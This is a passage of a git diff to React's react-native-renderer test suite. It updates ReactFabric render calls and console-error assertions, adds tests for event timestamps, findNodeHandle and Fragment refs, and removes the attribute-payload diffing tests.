+     RCTView {"title":"g"}
+     RCTView {"title":"w"}
+     RCTView {"title":"f"}
+     RCTView {"title":"r"}
+     RCTView {"title":"a"}
+     RCTView {"title":"l"}
+     RCTView {"title":"k"}
+     RCTView {"title":"e"}
+     RCTView {"title":"o"}
+     RCTView {"title":"i"}
+     RCTView {"title":"v"}
+     RCTView {"title":"c"}
+     RCTView {"title":"s"}
+     RCTView {"title":"t"}
+     RCTView {"title":"z"}
+     RCTView {"title":"y"}`);
   });
 
   it('calls setState with no arguments', async () => {
@@ -516,7 +780,7 @@ describe('ReactFabric', () => {
     }
 
     await act(() => {
-      ReactFabric.render(<Component />, 11);
+      ReactFabric.render(<Component />, 11, null, true);
     });
     expect(mockArgs.length).toEqual(0);
   });
@@ -542,9 +806,14 @@ describe('ReactFabric', () => {
           <View foo="b" />
         </View>,
         22,
+        null,
+        true,
       );
     });
-    expect(snapshots).toMatchSnapshot();
+    expect(snapshots).toEqual([
+      `RCTView {"foo":"a"}
+  RCTView {"foo":"b"}`,
+    ]);
   });
 
   it('should not throw when <View> is used inside of a <Text> ancestor', async () => {
@@ -567,6 +836,8 @@ describe('ReactFabric', () => {
           <View />
         </Text>,
         11,
+        null,
+        true,
       );
     });
 
@@ -576,6 +847,8 @@ describe('ReactFabric', () => {
           <Image />
         </Text>,
         11,
+        null,
+        true,
       );
     });
   });
@@ -594,22 +867,28 @@ describe('ReactFabric', () => {
       uiViewClassName: 'RCTView',
     }));
 
-    await expect(async () => {
-      await act(() => {
-        ReactFabric.render(<View>this should warn</View>, 11);
-      });
-    }).toErrorDev(['Text strings must be rendered within a <Text> component.']);
+    await act(() => {
+      ReactFabric.render(<View>this should warn</View>, 11, null, true);
+    });
+    assertConsoleErrorDev([
+      'Text strings must be rendered within a <Text> component.\n' +
+        '    in RCTView (at **)',
+    ]);
 
-    await expect(async () => {
-      await act(() => {
-        ReactFabric.render(
-          <Text>
-            <ScrollView>hi hello hi</ScrollView>
-          </Text>,
-          11,
-        );
-      });
-    }).toErrorDev(['Text strings must be rendered within a <Text> component.']);
+    await act(() => {
+      ReactFabric.render(
+        <Text>
+          <ScrollView>hi hello hi</ScrollView>
+        </Text>,
+        11,
+        null,
+        true,
+      );
+    });
+    assertConsoleErrorDev([
+      'Text strings must be rendered within a <Text> component.\n' +
+        '    in RCTScrollView (at **)',
+    ]);
   });
 
   it('should not throw for text inside of an indirect <Text> ancestor', async () => {
@@ -626,6 +905,8 @@ describe('ReactFabric', () => {
           <Indirection />
         </Text>,
         11,
+        null,
+        true,
       );
     });
   });
@@ -645,7 +926,7 @@ describe('ReactFabric', () => {
     const touchStart2 = jest.fn();
 
     await act(() => {
-      ReactFabric.render(<View onTouchStart={touchStart} />, 11);
+      ReactFabric.render(<View onTouchStart={touchStart} />, 11, null, true);
     });
 
     expect(nativeFabricUIManager.createNode.mock.calls.length).toBe(1);
@@ -671,7 +952,7 @@ describe('ReactFabric', () => {
     expect(touchStart2).not.toBeCalled();
 
     await act(() => {
-      ReactFabric.render(<View onTouchStart={touchStart2} />, 11);
+      ReactFabric.render(<View onTouchStart={touchStart2} />, 11, null, true);
     });
 
     // Intentionally dispatch to the same instanceHandle again.
@@ -737,6 +1018,8 @@ describe('ReactFabric', () => {
             />
           </View>,
           11,
+          null,
+          true,
         );
       });
 
@@ -816,6 +1099,8 @@ describe('ReactFabric', () => {
               // Check for referential equality
               expect(ref1.current).toBe(event.target);
               expect(ref1.current).toBe(event.currentTarget);
+
+              expect(global.event).toBe(event);
             }}
             onStartShouldSetResponder={() => true}
           />
@@ -827,17 +1112,24 @@ describe('ReactFabric', () => {
               // Check for referential equality
               expect(ref2.current).toBe(event.target);
               expect(ref2.current).toBe(event.currentTarget);
+
+              expect(global.event).toBe(event);
             }}
             onStartShouldSetResponder={() => true}
           />
         </View>,
         1,
+        null,
+        true,
       );
     });
 
     const [dispatchEvent] =
       nativeFabricUIManager.registerEventHandler.mock.calls[0];
 
+    const preexistingEvent = {};
+    global.event = preexistingEvent;
+
     dispatchEvent(getViewById('one').instanceHandle, 'topTouchStart', {
       target: getViewById('one').reactTag,
       identifier: 17,
@@ -865,7 +1157,140 @@ describe('ReactFabric', () => {
       changedTouches: [],
     });
 
-    expect.assertions(6);
+    expect(global.event).toBe(preexistingEvent);
+
+    expect.assertions(9);
+  });
+
+  it('propagates timeStamps from native events and sets defaults', async () => {
+    const View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {
+        id: true,
+      },
+      uiViewClassName: 'RCTView',
+      directEventTypes: {
+        topTouchStart: {
+          registrationName: 'onTouchStart',
+        },
+        topTouchEnd: {
+          registrationName: 'onTouchEnd',
+        },
+      },
+    }));
+
+    function getViewById(id) {
+      const [reactTag, , , , instanceHandle] =
+        nativeFabricUIManager.createNode.mock.calls.find(
+          args => args[3] && args[3].id === id,
+        );
+
+      return {reactTag, instanceHandle};
+    }
+
+    const ref1 = React.createRef();
+    const ref2 = React.createRef();
+
+    const explicitTimeStampCamelCase = 'explicit-timestamp-camelcase';
+    const explicitTimeStampLowerCase = 'explicit-timestamp-lowercase';
+    const performanceNowValue = 'performance-now-timestamp';
+
+    jest.spyOn(performance, 'now').mockReturnValue(performanceNowValue);
+
+    await act(() => {
+      ReactFabric.render(
+        <>
+          <View
+            ref={ref1}
+            id="default"
+            onTouchEnd={event => {
+              expect(event.timeStamp).toBe(performanceNowValue);
+            }}
+          />
+          <View
+            ref={ref2}
+            id="explicitTimeStampCamelCase"
+            onTouchEnd={event => {
+              expect(event.timeStamp).toBe(explicitTimeStampCamelCase);
+            }}
+          />
+          <View
+            ref={ref2}
+            id="explicitTimeStampLowerCase"
+            onTouchEnd={event => {
+              expect(event.timeStamp).toBe(explicitTimeStampLowerCase);
+            }}
+          />
+        </>,
+        1,
+        null,
+        true,
+      );
+    });
+
+    const [dispatchEvent] =
+      nativeFabricUIManager.registerEventHandler.mock.calls[0];
+
+    dispatchEvent(getViewById('default').instanceHandle, 'topTouchStart', {
+      target: getViewById('default').reactTag,
+      identifier: 17,
+      touches: [],
+      changedTouches: [],
+    });
+    dispatchEvent(getViewById('default').instanceHandle, 'topTouchEnd', {
+      target: getViewById('default').reactTag,
+      identifier: 17,
+      touches: [],
+      changedTouches: [],
+      // No timeStamp property
+    });
+
+    dispatchEvent(
+      getViewById('explicitTimeStampCamelCase').instanceHandle,
+      'topTouchStart',
+      {
+        target: getViewById('explicitTimeStampCamelCase').reactTag,
+        identifier: 17,
+        touches: [],
+        changedTouches: [],
+      },
+    );
+
+    dispatchEvent(
+      getViewById('explicitTimeStampCamelCase').instanceHandle,
+      'topTouchEnd',
+      {
+        target: getViewById('explicitTimeStampCamelCase').reactTag,
+        identifier: 17,
+        touches: [],
+        changedTouches: [],
+        timeStamp: explicitTimeStampCamelCase,
+      },
+    );
+
+    dispatchEvent(
+      getViewById('explicitTimeStampLowerCase').instanceHandle,
+      'topTouchStart',
+      {
+        target: getViewById('explicitTimeStampLowerCase').reactTag,
+        identifier: 17,
+        touches: [],
+        changedTouches: [],
+      },
+    );
+
+    dispatchEvent(
+      getViewById('explicitTimeStampLowerCase').instanceHandle,
+      'topTouchEnd',
+      {
+        target: getViewById('explicitTimeStampLowerCase').reactTag,
+        identifier: 17,
+        touches: [],
+        changedTouches: [],
+        timestamp: explicitTimeStampLowerCase,
+      },
+    );
+
+    expect.assertions(3);
   });
 
   it('findHostInstance_DEPRECATED should warn if used to find a host component inside StrictMode', async () => {
@@ -891,13 +1316,13 @@ describe('ReactFabric', () => {
       ReactFabric.render(
         <ContainsStrictModeChild ref={n => (parent = n)} />,
         11,
+        null,
+        true,
       );
     });
 
-    let match;
-    expect(
-      () => (match = ReactFabric.findHostInstance_DEPRECATED(parent)),
-    ).toErrorDev([
+    const match = ReactFabric.findHostInstance_DEPRECATED(parent);
+    assertConsoleErrorDev([
       'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +
         'findHostInstance_DEPRECATED was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -930,13 +1355,13 @@ describe('ReactFabric', () => {
           <IsInStrictMode ref={n => (parent = n)} />
         </StrictMode>,
         11,
+        null,
+        true,
       );
     });
 
-    let match;
-    expect(
-      () => (match = ReactFabric.findHostInstance_DEPRECATED(parent)),
-    ).toErrorDev([
+    const match = ReactFabric.findHostInstance_DEPRECATED(parent);
+    assertConsoleErrorDev([
       'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +
         'findHostInstance_DEPRECATED was passed an instance of IsInStrictMode which is inside StrictMode. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -971,11 +1396,13 @@ describe('ReactFabric', () => {
       ReactFabric.render(
         <ContainsStrictModeChild ref={n => (parent = n)} />,
         11,
+        null,
+        true,
       );
     });
 
-    let match;
-    expect(() => (match = ReactFabric.findNodeHandle(parent))).toErrorDev([
+    const match = ReactFabric.findNodeHandle(parent);
+    assertConsoleErrorDev([
       'findNodeHandle is deprecated in StrictMode. ' +
         'findNodeHandle was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -1010,11 +1437,13 @@ describe('ReactFabric', () => {
           <IsInStrictMode ref={n => (parent = n)} />
         </StrictMode>,
         11,
+        null,
+        true,
       );
     });
 
-    let match;
-    expect(() => (match = ReactFabric.findNodeHandle(parent))).toErrorDev([
+    const match = ReactFabric.findNodeHandle(parent);
+    assertConsoleErrorDev([
       'findNodeHandle is deprecated in StrictMode. ' +
         'findNodeHandle was passed an instance of IsInStrictMode which is inside StrictMode. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -1028,6 +1457,40 @@ describe('ReactFabric', () => {
     );
   });
 
+  it('findNodeHandle errors when called from render', async () => {
+    class TestComponent extends React.Component {
+      render() {
+        ReactFabric.findNodeHandle(this);
+        return null;
+      }
+    }
+    await act(() => {
+      ReactFabric.render(<TestComponent />, 11, null, true);
+    });
+    assertConsoleErrorDev([
+      'TestComponent is accessing findNodeHandle inside its render(). ' +
+        'render() should be a pure function of props and state. It should ' +
+        'never access something that requires stale data from the previous ' +
+        'render, such as refs. Move this logic to componentDidMount and ' +
+        'componentDidUpdate instead.\n' +
+        '    in TestComponent (at **)',
+    ]);
+  });
+
+  it("findNodeHandle doesn't error when called outside render", async () => {
+    class TestComponent extends React.Component {
+      render() {
+        return null;
+      }
+      componentDidMount() {
+        ReactFabric.findNodeHandle(this);
+      }
+    }
+    await act(() => {
+      ReactFabric.render(<TestComponent />, 11, null, true);
+    });
+  });
+
   it('should no-op if calling sendAccessibilityEvent on unmounted refs', async () => {
     const View = createReactNativeComponentClass('RCTView', () => ({
       validAttributes: {foo: true},
@@ -1045,6 +1508,8 @@ describe('ReactFabric', () => {
           }}
         />,
         11,
+        null,
+        true,
       );
     });
     const dangerouslyRetainedViewRef = viewRef;
@@ -1067,7 +1532,7 @@ describe('ReactFabric', () => {
     }));
 
     await act(() => {
-      ReactFabric.render(<View foo="test" />, 1);
+      ReactFabric.render(<View foo="test" />, 1, null, true);
     });
 
     const internalInstanceHandle =
@@ -1100,6 +1565,8 @@ describe('ReactFabric', () => {
           }}
         />,
         1,
+        null,
+        true,
       );
     });
 
@@ -1114,7 +1581,7 @@ describe('ReactFabric', () => {
     expect(publicInstance).toBe(viewRef);
 
     await act(() => {
-      ReactFabric.render(null, 1);
+      ReactFabric.render(null, 1, null, true);
     });
 
     const publicInstanceAfterUnmount =
@@ -1133,7 +1600,7 @@ describe('ReactFabric', () => {
     }));
 
     await act(() => {
-      ReactFabric.render(<RCTText>Text content</RCTText>, 1);
+      ReactFabric.render(<RCTText>Text content</RCTText>, 1, null, true);
     });
 
     // Access the internal instance handle used to create the text node.
@@ -1165,7 +1632,7 @@ describe('ReactFabric', () => {
     expect(publicInstance).toBe(expectedPublicInstance);
 
     await act(() => {
-      ReactFabric.render(null, 1);
+      ReactFabric.render(null, 1, null, true);
     });
 
     const publicInstanceAfterUnmount =
diff --git a/packages/react-native-renderer/src/__tests__/ReactFabricFragmentRefs-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactFabricFragmentRefs-test.internal.js
new file mode 100644
index 000000000000..ac4bcf36b00b
--- /dev/null
+++ b/packages/react-native-renderer/src/__tests__/ReactFabricFragmentRefs-test.internal.js
@@ -0,0 +1,125 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+let React;
+let ReactFabric;
+let createReactNativeComponentClass;
+let act;
+let View;
+let Text;
+
+describe('Fabric FragmentRefs', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    require('react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager');
+
+    React = require('react');
+    ReactFabric = require('react-native-renderer/fabric');
+    createReactNativeComponentClass =
+      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')
+        .ReactNativeViewConfigRegistry.register;
+    ({act} = require('internal-test-utils'));
+    View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {nativeID: true},
+      uiViewClassName: 'RCTView',
+    }));
+    Text = createReactNativeComponentClass('RCTText', () => ({
+      validAttributes: {nativeID: true},
+      uiViewClassName: 'RCTText',
+    }));
+  });
+
+  // @gate enableFragmentRefs
+  it('attaches a ref to Fragment', async () => {
+    const fragmentRef = React.createRef();
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <React.Fragment ref={fragmentRef}>
+            <View>
+              <Text>Hi</Text>
+            </View>
+          </React.Fragment>
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+
+    expect(fragmentRef.current).not.toBe(null);
+  });
+
+  // @gate enableFragmentRefs
+  it('accepts a ref callback', async () => {
+    let fragmentRef;
+
+    await act(() => {
+      ReactFabric.render(
+        <React.Fragment ref={ref => (fragmentRef = ref)}>
+          <View nativeID="child">
+            <Text>Hi</Text>
+          </View>
+        </React.Fragment>,
+        11,
+        null,
+        true,
+      );
+    });
+
+    expect(fragmentRef && fragmentRef._fragmentFiber).toBeTruthy();
+  });
+
+  describe('observers', () => {
+    // @gate enableFragmentRefs
+    it('observes children, newly added children', async () => {
+      let logs = [];
+      const observer = {
+        observe: entry => {
+          // Here we reference internals because we don't need to mock the native observer
+          // We only need to test that each child node is observed on insertion
+          logs.push(entry.__internalInstanceHandle.pendingProps.nativeID);
+        },
+      };
+      function Test({showB}) {
+        const fragmentRef = React.useRef(null);
+        React.useEffect(() => {
+          fragmentRef.current.observeUsing(observer);
+          const lastRefValue = fragmentRef.current;
+          return () => {
+            lastRefValue.unobserveUsing(observer);
+          };
+        }, []);
+        return (
+          <View nativeID="parent">
+            <React.Fragment ref={fragmentRef}>
+              <View nativeID="A" />
+              {showB && <View nativeID="B" />}
+            </React.Fragment>
+          </View>
+        );
+      }
+
+      await act(() => {
+        ReactFabric.render(<Test showB={false} />, 11, null, true);
+      });
+      expect(logs).toEqual(['A']);
+      logs = [];
+      await act(() => {
+        ReactFabric.render(<Test showB={true} />, 11, null, true);
+      });
+      expect(logs).toEqual(['B']);
+    });
+  });
+});
diff --git a/packages/react-native-renderer/src/__tests__/ReactNativeAttributePayloadFabric-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactNativeAttributePayloadFabric-test.internal.js
deleted file mode 100644
index 68cf318c6f12..000000000000
--- a/packages/react-native-renderer/src/__tests__/ReactNativeAttributePayloadFabric-test.internal.js
+++ /dev/null
@@ -1,449 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @jest-environment node
- */
-'use strict';
-
-const {diff, create} = require('../ReactNativeAttributePayloadFabric');
-
-describe('ReactNativeAttributePayloadFabric.create', () => {
-  it('should work with simple example', () => {
-    expect(create({b: 2, c: 3}, {a: true, b: true})).toEqual({
-      b: 2,
-    });
-  });
-
-  it('should work with complex example', () => {
-    const validAttributes = {
-      style: {
-        position: true,
-        zIndex: true,
-        flexGrow: true,
-        flexShrink: true,
-        flexDirection: true,
-        overflow: true,
-        backgroundColor: true,
-      },
-    };
-
-    expect(
-      create(
-        {
-          style: [
-            {
-              flexGrow: 1,
-              flexShrink: 1,
-              flexDirection: 'row',
-              overflow: 'scroll',
-            },
-            [
-              {position: 'relative', zIndex: 2},
-              {flexGrow: 0},
-              {backgroundColor: 'red'},
-            ],
-          ],
-        },
-        validAttributes,
-      ),
-    ).toEqual({
-      flexGrow: 0,
-      flexShrink: 1,
-      flexDirection: 'row',
-      overflow: 'scroll',
-      position: 'relative',
-      zIndex: 2,
-      backgroundColor: 'red',
-    });
-  });
-
-  it('should ignore fields that are set to undefined', () => {
-    expect(create({}, {a: true})).toEqual(null);
-    expect(create({a: undefined}, {a: true})).toEqual(null);
-    expect(create({a: undefined, b: undefined}, {a: true, b: true})).toEqual(
-      null,
-    );
-    expect(
-      create({a: undefined, b: undefined, c: 1}, {a: true, b: true}),
-    ).toEqual(null);
-    expect(
-      create({a: undefined, b: undefined, c: 1}, {a: true, b: true, c: true}),
-    ).toEqual({c: 1});
-    expect(
-      create({a: 1, b: undefined, c: 2}, {a: true, b: true, c: true}),
-    ).toEqual({a: 1, c: 2});
-  });
-
-  it('should ignore invalid fields', () => {
-    expect(create({b: 2}, {})).toEqual(null);
-  });
-
-  it('should not use the diff attribute', () => {
-    const diffA = jest.fn();
-    expect(create({a: [2]}, {a: {diff: diffA}})).toEqual({a: [2]});
-    expect(diffA).not.toBeCalled();
-  });
-
-  it('should use the process attribute', () => {
-    const processA = jest.fn(a => a + 1);
-    expect(create({a: 2}, {a: {process: processA}})).toEqual({a: 3});
-    expect(processA).toBeCalledWith(2);
-  });
-
-  it('should work with undefined styles', () => {
-    expect(create({style: undefined}, {style: {b: true}})).toEqual(null);
-    expect(create({style: {a: '#ffffff', b: 1}}, {style: {b: true}})).toEqual({
-      b: 1,
-    });
-  });
-
-  it('should flatten nested styles and predefined styles', () => {
-    const validStyleAttribute = {someStyle: {foo: true, bar: true}};
-    expect(
-      create({someStyle: [{foo: 1}, {bar: 2}]}, validStyleAttribute),
-    ).toEqual({foo: 1, bar: 2});
-    expect(create({}, validStyleAttribute)).toEqual(null);
-    const barStyle = {
-      bar: 3,
-    };
-    expect(
-      create(
-        {someStyle: [[{foo: 1}, {foo: 2}], barStyle]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: 2, bar: 3});
-  });
-
-  it('should not flatten nested props if attribute config is a primitive or only has diff/process', () => {
-    expect(create({a: {foo: 1, bar: 2}}, {a: true})).toEqual({
-      a: {foo: 1, bar: 2},
-    });
-    expect(create({a: [{foo: 1}, {bar: 2}]}, {a: true})).toEqual({
-      a: [{foo: 1}, {bar: 2}],
-    });
-    expect(create({a: {foo: 1, bar: 2}}, {a: {diff: a => a}})).toEqual({
-      a: {foo: 1, bar: 2},
-    });
-    expect(
-      create({a: [{foo: 1}, {bar: 2}]}, {a: {diff: a => a, process: a => a}}),
-    ).toEqual({a: [{foo: 1}, {bar: 2}]});
-  });
-
-  it('handles attributes defined multiple times', () => {
-    const validAttributes = {foo: true, style: {foo: true}};
-    expect(create({foo: 4, style: {foo: 2}}, validAttributes)).toEqual({
-      foo: 2,
-    });
-    expect(create({style: {foo: 2}}, validAttributes)).toEqual({
-      foo: 2,
-    });
-    expect(create({style: {foo: 2}, foo: 4}, validAttributes)).toEqual({
-      foo: 4,
-    });
-    expect(create({foo: 4, style: {foo: null}}, validAttributes)).toEqual({
-      foo: null, // this should ideally be null.
-    });
-    expect(
-      create({foo: 4, style: [{foo: null}, {foo: 5}]}, validAttributes),
-    ).toEqual({
-      foo: 5,
-    });
-  });
-
-  // Function properties are just markers to native that events should be sent.
-  it('should convert functions to booleans', () => {
-    expect(
-      create(
-        {
-          a: function () {
-            return 9;
-          },
-          b: function () {
-            return 3;
-          },
-        },
-        {a: true, b: true},
-      ),
-    ).toEqual({a: true, b: true});
-  });
-});
-
-describe('ReactNativeAttributePayloadFabric.diff', () => {
-  it('should work with simple example', () => {
-    expect(diff({a: 1, c: 3}, {b: 2, c: 3}, {a: true, b: true})).toEqual({
-      a: null,
-      b: 2,
-    });
-  });
-
-  it('should skip fields that are equal', () => {
-    expect(
-      diff(
-        {a: 1, b: 'two', c: true, d: false, e: undefined, f: 0},
-        {a: 1, b: 'two', c: true, d: false, e: undefined, f: 0},
-        {a: true, b: true, c: true, d: true, e: true, f: true},
-      ),
-    ).toEqual(null);
-  });
-
-  it('should remove fields', () => {
-    expect(diff({a: 1}, {}, {a: true})).toEqual({a: null});
-  });
-
-  it('should remove fields that are set to undefined', () => {
-    expect(diff({a: 1}, {a: undefined}, {a: true})).toEqual({a: null});
-  });
-
-  it('should ignore invalid fields', () => {
-    expect(diff({a: 1}, {b: 2}, {})).toEqual(null);
-  });
-
-  // @gate !enableShallowPropDiffing
-  it('should use the diff attribute', () => {
-    const diffA = jest.fn((a, b) => true);
-    const diffB = jest.fn((a, b) => false);
-    expect(
-      diff(
-        {a: [1], b: [3]},
-        {a: [2], b: [4]},
-        {a: {diff: diffA}, b: {diff: diffB}},
-      ),
-    ).toEqual({a: [2]});
-    expect(diffA).toBeCalledWith([1], [2]);
-    expect(diffB).toBeCalledWith([3], [4]);
-  });
-
-  it('should not use the diff attribute on addition/removal', () => {
-    const diffA = jest.fn();
-    const diffB = jest.fn();
-    expect(
-      diff({a: [1]}, {b: [2]}, {a: {diff: diffA}, b: {diff: diffB}}),
-    ).toEqual({a: null, b: [2]});
-    expect(diffA).not.toBeCalled();
-    expect(diffB).not.toBeCalled();
-  });
-
-  // @gate !enableShallowPropDiffing
-  it('should do deep diffs of Objects by default', () => {
-    expect(
-      diff(
-        {a: [1], b: {k: [3, 4]}, c: {k: [4, 4]}},
-        {a: [2], b: {k: [3, 4]}, c: {k: [4, 5]}},
-        {a: true, b: true, c: true},
-      ),
-    ).toEqual({a: [2], c: {k: [4, 5]}});
-  });
-
-  it('should work with undefined styles', () => {
-    expect(
-      diff(
-        {style: {a: '#ffffff', b: 1}},
-        {style: undefined},
-        {style: {b: true}},
-      ),
-    ).toEqual({b: null});
-    expect(
-      diff(
-        {style: undefined},
-        {style: {a: '#ffffff', b: 1}},
-        {style: {b: true}},
-      ),
-    ).toEqual({b: 1});
-    expect(
-      diff({style: undefined}, {style: undefined}, {style: {b: true}}),
-    ).toEqual(null);
-  });
-
-  it('should work with empty styles', () => {
-    expect(diff({a: 1, c: 3}, {}, {a: true, b: true})).toEqual({a: null});
-    expect(diff({}, {a: 1, c: 3}, {a: true, b: true})).toEqual({a: 1});
-    expect(diff({}, {}, {a: true, b: true})).toEqual(null);
-  });
-
-  it('should flatten nested styles and predefined styles', () => {
-    const validStyleAttribute = {someStyle: {foo: true, bar: true}};
-
-    expect(
-      diff({}, {someStyle: [{foo: 1}, {bar: 2}]}, validStyleAttribute),
-    ).toEqual({foo: 1, bar: 2});
-
-    expect(
-      diff({someStyle: [{foo: 1}, {bar: 2}]}, {}, validStyleAttribute),
-    ).toEqual({foo: null, bar: null});
-
-    const barStyle = {
-      bar: 3,
-    };
-
-    expect(
-      diff(
-        {},
-        {someStyle: [[{foo: 1}, {foo: 2}], barStyle]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: 2, bar: 3});
-  });
-
-  it('should reset a value to a previous if it is removed', () => {
-    const validStyleAttribute = {someStyle: {foo: true, bar: true}};
-
-    expect(
-      diff(
-        {someStyle: [{foo: 1}, {foo: 3}]},
-        {someStyle: [{foo: 1}, {bar: 2}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: 1, bar: 2});
-  });
-
-  it('should not clear removed props if they are still in another slot', () => {
-    const validStyleAttribute = {someStyle: {foo: true, bar: true}};
-
-    expect(
-      diff(
-        {someStyle: [{}, {foo: 3, bar: 2}]},
-        {someStyle: [{foo: 3}, {bar: 2}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: 3}); // this should ideally be null. heuristic tradeoff.
-
-    expect(
-      diff(
-        {someStyle: [{}, {foo: 3, bar: 2}]},
-        {someStyle: [{foo: 1, bar: 1}, {bar: 2}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({bar: 2, foo: 1});
-  });
-
-  it('should clear a prop if a later style is explicit null/undefined', () => {
-    const validStyleAttribute = {someStyle: {foo: true, bar: true}};
-    expect(
-      diff(
-        {someStyle: [{}, {foo: 3, bar: 2}]},
-        {someStyle: [{foo: 1}, {bar: 2, foo: null}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: null});
-
-    expect(
-      diff(
-        {someStyle: [{foo: 3}, {foo: null, bar: 2}]},
-        {someStyle: [{foo: null}, {bar: 2}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: null});
-
-    expect(
-      diff(
-        {someStyle: [{foo: 1}, {foo: null}]},
-        {someStyle: [{foo: 2}, {foo: null}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: null}); // this should ideally be null. heuristic.
-
-    // Test the same case with object equality because an early bailout doesn't
-    // work in this case.
-    const fooObj = {foo: 3};
-    expect(
-      diff(
-        {someStyle: [{foo: 1}, fooObj]},
-        {someStyle: [{foo: 2}, fooObj]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: 3}); // this should ideally be null. heuristic.
-
-    expect(
-      diff(
-        {someStyle: [{foo: 1}, {foo: 3}]},
-        {someStyle: [{foo: 2}, {foo: undefined}]},
-        validStyleAttribute,
-      ),
-    ).toEqual({foo: null}); // this should ideally be null. heuristic.
-  });
-
-  it('handles attributes defined multiple times', () => {
-    const validAttributes = {foo: true, style: {foo: true}};
-    expect(diff({}, {foo: 4, style: {foo: 2}}, validAttributes)).toEqual({
-      foo: 2,
-    });
-    expect(diff({foo: 4}, {style: {foo: 2}}, validAttributes)).toEqual({
-      foo: 2,
-    });
-    expect(diff({style: {foo: 2}}, {foo: 4}, validAttributes)).toEqual({
-      foo: 4,
-    });
-  });
-
-  // Function properties are just markers to native that events should be sent.
-  it('should convert functions to booleans', () => {
-    // Note that if the property changes from one function to another, we don't
-    // need to send an update.
-    expect(
-      diff(
-        {
-          a: function () {
-            return 1;
-          },
-          b: function () {
-            return 2;
-          },
-          c: 3,
-        },
-        {
-          b: function () {
-            return 9;
-          },
-          c: function () {
-            return 3;
-          },
-        },
-        {a: true, b: true, c: true},
-      ),
-    ).toEqual({a: null, c: true});
-  });
-
-  it('should skip changed functions', () => {
-    expect(
-      diff(
-        {
-          a: function () {
-            return 1;
-          },
-        },
-        {
-          a: function () {
-            return 9;
-          },
-        },
-        {a: true},
-      ),
-    ).toEqual(null);
-  });
-
-  // @gate !enableShallowPropDiffing
-  it('should skip deeply-nested changed functions', () => {
-    expect(
-      diff(
-        {
-          wrapper: {
-            a: function () {
-              return 1;
-            },
-          },
-        },
-        {
-          wrapper: {
-            a: function () {
-              return 9;
-            },
-          },
-        },
-        {wrapper: true},
-      ),
-    ).toEqual(null);
-  });
-});
diff --git a/packages/react-native-renderer/src/__tests__/ReactNativeError-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactNativeError-test.internal.js
index a7ac05b21449..8eb6421d4925 100644
--- a/packages/react-native-renderer/src/__tests__/ReactNativeError-test.internal.js
+++ b/packages/react-native-renderer/src/__tests__/ReactNativeError-test.internal.js
@@ -10,32 +10,15 @@
 
 'use strict';
 
-let React;
-let ReactNative;
 let createReactNativeComponentClass;
-let computeComponentStackForErrorReporting;
-
-function normalizeCodeLocInfo(str) {
-  return (
-    str &&
-    str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
-      return '\n    in ' + name + ' (at **)';
-    })
-  );
-}
 
 describe('ReactNativeError', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    React = require('react');
-    ReactNative = require('react-native-renderer');
     createReactNativeComponentClass =
       require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')
         .ReactNativeViewConfigRegistry.register;
-    computeComponentStackForErrorReporting =
-      ReactNative.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED
-        .computeComponentStackForErrorReporting;
   });
 
   it('should throw error if null component registration getter is used', () => {
@@ -49,43 +32,4 @@ describe('ReactNativeError', () => {
       'View config getter callback for component `View` must be a function (received `null`)',
     );
   });
-
-  // @gate !disableLegacyMode
-  it('should be able to extract a component stack from a native view', () => {
-    const View = createReactNativeComponentClass('View', () => ({
-      validAttributes: {foo: true},
-      uiViewClassName: 'View',
-    }));
-
-    const ref = React.createRef();
-
-    function FunctionComponent(props) {
-      return props.children;
-    }
-
-    class ClassComponent extends React.Component {
-      render() {
-        return (
-          <FunctionComponent>
-            <View foo="test" ref={ref} />
-          </FunctionComponent>
-        );
-      }
-    }
-
-    ReactNative.render(<ClassComponent />, 1);
-
-    const reactTag = ReactNative.findNodeHandle(ref.current);
-
-    const componentStack = normalizeCodeLocInfo(
-      computeComponentStackForErrorReporting(reactTag),
-    );
-
-    expect(componentStack).toBe(
-      '\n' +
-        '    in View (at **)\n' +
-        '    in FunctionComponent (at **)\n' +
-        '    in ClassComponent (at **)',
-    );
-  });
 });
diff --git a/packages/react-native-renderer/src/__tests__/ReactNativeEvents-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactNativeEvents-test.internal.js
index ed0521bedef9..f4ab24d71d42 100644
--- a/packages/react-native-renderer/src/__tests__/ReactNativeEvents-test.internal.js
+++ b/packages/react-native-renderer/src/__tests__/ReactNativeEvents-test.internal.js
@@ -18,6 +18,7 @@ let ReactNative;
 let ResponderEventPlugin;
 let UIManager;
